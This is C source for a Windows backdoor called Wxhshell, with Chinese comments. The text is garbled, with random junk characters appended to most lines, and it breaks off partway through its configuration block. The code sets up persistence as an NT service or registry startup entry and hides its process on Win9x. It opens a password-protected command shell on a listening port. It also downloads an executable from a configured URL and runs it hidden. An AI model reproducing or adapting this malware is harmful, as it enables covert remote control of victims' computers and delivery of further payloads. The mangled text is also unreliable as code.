} PROCESS_BASIC_INFORMATION; ,9D+brm
Qf $|_&|
PROCNTQSIP NtQueryInformationProcess; x@Hd^xH`
.2)
=vf'd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 04U")-\O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N<(.%<!
tjT>VwqH
HANDLE hProcess; U#&7p)4(
PROCESS_BASIC_INFORMATION pbi; Ch \&GzQ
m3<+yz$!r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oXXC@[??}N
if(NULL == hInst ) return 0; 2*iIjw3g
$*R/tJ.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {0"YOS`3AX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *%/~mSx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^-z=`>SrS"
A:l@_*C..
if (!NtQueryInformationProcess) return 0; H<EQu|f&x
k%]=!5F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GL{57
if(!hProcess) return 0; /3 B
$(
re?s.djT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~{,X3-S_H
ig}A9j?]
CloseHandle(hProcess); \p{5D`HY
e]=lKxFh&l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a^d8I
if(hProcess==NULL) return 0; qMt++*Ls
R:Q0=PzDi#
HMODULE hMod; L2Pujk
char procName[255]; 6(d }W2GP
unsigned long cbNeeded; Rp7ntI:
rE9I>|tX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @f]{>OS
A+J*e
CloseHandle(hProcess); _BdE<
!r
kHw_ S-
if(strstr(procName,"services")) return 1; // 以服务启动 Bw%Qbs0Q
+5VLw
return 0; // 注册表启动 QTX8
L
} w@JKl5
8{`?=&%6
// 主模块 LI2&&Mw
int StartWxhshell(LPSTR lpCmdLine) JM1R ;i6
{ D%6;^^WyUx
SOCKET wsl; GaX[C<Wt
BOOL val=TRUE; g<{xC_J
int port=0; HK|ynBAo
struct sockaddr_in door; $`R6=\|
<1%f@}+8
if(wscfg.ws_autoins) Install(); NT@;N /I
D?XM,l+
port=atoi(lpCmdLine); JRo?s~Ih
B#/Q'V
if(port<=0) port=wscfg.ws_port; ;4N;D
;q N+^;,2
WSADATA data; *HEuorl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >D201&*G%
L|bwZ,M=}?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q[`j`8YY!R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g~(E>6Y
door.sin_family = AF_INET; 2^8%>,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <! )**
door.sin_port = htons(port); C4TE-OM8
]Oq[gBL"A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .9Y)AtJTS
closesocket(wsl); ~3uP6\F
return 1; 5j~$Mj`
} ?QE,;QtpK
|2{wG4
if(listen(wsl,2) == INVALID_SOCKET) { >4t+:Ut:
closesocket(wsl); E@7J:|.)R
return 1; ,#pXpAz/
} 0RoU}r@z4
Wxhshell(wsl); J9~g|5
WSACleanup(); {e|[%reSkg
Z+@2"%W
return 0; E Cyyl
U8
nH;}i
} {%_L=2n6
"etPT@gF
// 以NT服务方式启动 j~*L~7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8#vc(04(
{ / X1 x
DWORD status = 0; _a1x\,R|DB
DWORD specificError = 0xfffffff; )"pF R4
O{#=d
serviceStatus.dwServiceType = SERVICE_WIN32; F_CYYGZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 72'5%*1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pR~U`r5z
serviceStatus.dwWin32ExitCode = 0; 8<Hf"M
serviceStatus.dwServiceSpecificExitCode = 0; 5LOo8xN
serviceStatus.dwCheckPoint = 0; _4g.j
serviceStatus.dwWaitHint = 0; eUg~)m5G
e=.]F*:J
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Z's@'*
if (hServiceStatusHandle==0) return;
VNY%R,6
<>Hj
;q5p
status = GetLastError(); (DI>5.x"
if (status!=NO_ERROR) 6'Fd GS
{ qT+%;(
serviceStatus.dwCurrentState = SERVICE_STOPPED; X7rMeu
serviceStatus.dwCheckPoint = 0; uCcYPvm
serviceStatus.dwWaitHint = 0; SJHr_bawd
serviceStatus.dwWin32ExitCode = status; L*:jXmUM_~
serviceStatus.dwServiceSpecificExitCode = specificError; Mxv;k%l|E|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*3h!lW1.
return; kBffF@{
} j:VbrR
b9l;a+]d
serviceStatus.dwCurrentState = SERVICE_RUNNING; *6VF
$/rP
serviceStatus.dwCheckPoint = 0; fZoHf\B]{
serviceStatus.dwWaitHint = 0; jbAx;Xt'=M
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OynXkH]0T+
} <[-nF"Q
pS:4CNI{
// 处理NT服务事件,比如:启动、停止 2 O%`G+\)
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;5)P6S.D
{ ]?(-[
switch(fdwControl) B8}Nvz
/
{ ajEjZ6
case SERVICE_CONTROL_STOP: @<elq'2
serviceStatus.dwWin32ExitCode = 0; Fx2bwut.K
serviceStatus.dwCurrentState = SERVICE_STOPPED; yPal<c
serviceStatus.dwCheckPoint = 0; 3qf
Ym}d
serviceStatus.dwWaitHint = 0; U[ 0=L`0e
{ va0{>Dc+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jEZMUqGY!
} Rd#WMo2Xd
return; Eqj_m|@
case SERVICE_CONTROL_PAUSE: rogT~G}q
serviceStatus.dwCurrentState = SERVICE_PAUSED; Rx}$0c0
break; '!eKTC>
case SERVICE_CONTROL_CONTINUE: ~GZY 5HF
serviceStatus.dwCurrentState = SERVICE_RUNNING; ):[7E(F=
break; o{y9r{~A
case SERVICE_CONTROL_INTERROGATE: :0Rx#%u}#
break; E4M@WNPx
}; uo@n(>}EL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '2 PF
} fR(d
uc){+'[
// 标准应用程序主函数 ?M\{&mlF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *=V~YF:Qb
{ #
mV{#B=
9[.8cg*
// 获取操作系统版本 >LOjV0K/
OsIsNt=GetOsVer(); f}9zgWU
GetModuleFileName(NULL,ExeFile,MAX_PATH); f,kZ\Ia'r
']2E {V
// 从命令行安装 ;6>2"{NW
if(strpbrk(lpCmdLine,"iI")) Install(); ]7Tkkw$
Hl{S]]z
// 下载执行文件 iT2B'QI=<
if(wscfg.ws_downexe) { J4fi'
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rustMs2p
WinExec(wscfg.ws_filenam,SW_HIDE); Z$/xy"
} o!kbK#k
CEX"D`
if(!OsIsNt) { t.xxSU5~%
// 如果时win9x,隐藏进程并且设置为注册表启动 AP'*Nh@Ik(
HideProc(); I|^;B8[
StartWxhshell(lpCmdLine); {y=j?lD
} K/IWH[
else wk5s)%V
if(StartFromService()) Ab{ K<:l
// 以服务方式启动 W04@!_) <
StartServiceCtrlDispatcher(DispatchTable); ahJ`$U4n
else n>BkTaI
// 普通方式启动 MkfBuW;)
StartWxhshell(lpCmdLine); leTf&W
W\d{a(*
return 0; =THpdtL
} J IUx
JB<Sl4
um!J]N^
Rh_np
=========================================== O$_)G\\\m
|)(VsVG&
E&2OD [iX
S4Y&
u)}$~E>
UC]\yUK1J
" 0IBhb(X
Lr$go6s
#include <stdio.h> dfKF%27
#include <string.h> pNepC<rY
#include <windows.h> xhVO3LW'
#include <winsock2.h> jB%lB1Q|
#include <winsvc.h> n<O}hM ZT
#include <urlmon.h> 2bw_IT
}$SavB#SBP
#pragma comment (lib, "Ws2_32.lib") k_
& :24Lj
#pragma comment (lib, "urlmon.lib") mr*JJF0Z
gQ Fjr_IS#
#define MAX_USER 100 // 最大客户端连接数 7%Gwc?[x
#define BUF_SOCK 200 // sock buffer J??-j
#define KEY_BUFF 255 // 输入 buffer g
jDh?I
1OCeN%4]Qk
#define REBOOT 0 // 重启 o<BOYrS
#define SHUTDOWN 1 // 关机 lr>oYS0
5m\<U`
#define DEF_PORT 5000 // 监听端口 8']M^|1
M+||rct
#define REG_LEN 16 // 注册表键长度 q&s3wDl/
#define SVC_LEN 80 // NT服务名长度 ,(d)Qg
Wbr|_W
// 从dll定义API 7}f}$1
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Rw&C6("w
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sFT.Oxg<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \<JSkr[h!"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >s>1[W @*
52:HNA\E/
// wxhshell配置信息 R!\_rc1/
struct WSCFG { v1o#1;
int ws_port; // 监听端口 3er nTD*`
char ws_passstr[REG_LEN]; // 口令 $HHs ^tW
int ws_autoins; // 安装标记, 1=yes 0=no +b0eE)
char ws_regname[REG_LEN]; // 注册表键名 ]m
g)Q:d,
char ws_svcname[REG_LEN]; // 服务名 G&D7a/G\
char ws_svcdisp[SVC_LEN]; // 服务显示名 +)!Y rKuu
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q sZx)
bO
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dP#|$1
int ws_downexe; // 下载执行标记, 1=yes 0=no .7e2YI,S
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #hfXZVD
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \KMToN&2
!=;+%C&8y
}; @$S+ Ne[<
S%bCyK%p
// default Wxhshell configuration gw#5jW\
struct WSCFG wscfg={DEF_PORT, XewVcRo
"xuhuanlingzhe", g7}Gip}.>
1, t3*wjQ3
"Wxhshell", .k,1f*%
"Wxhshell", RDW8]=uM
"WxhShell Service", )97SnCkal
"Wrsky Windows CmdShell Service", `eE&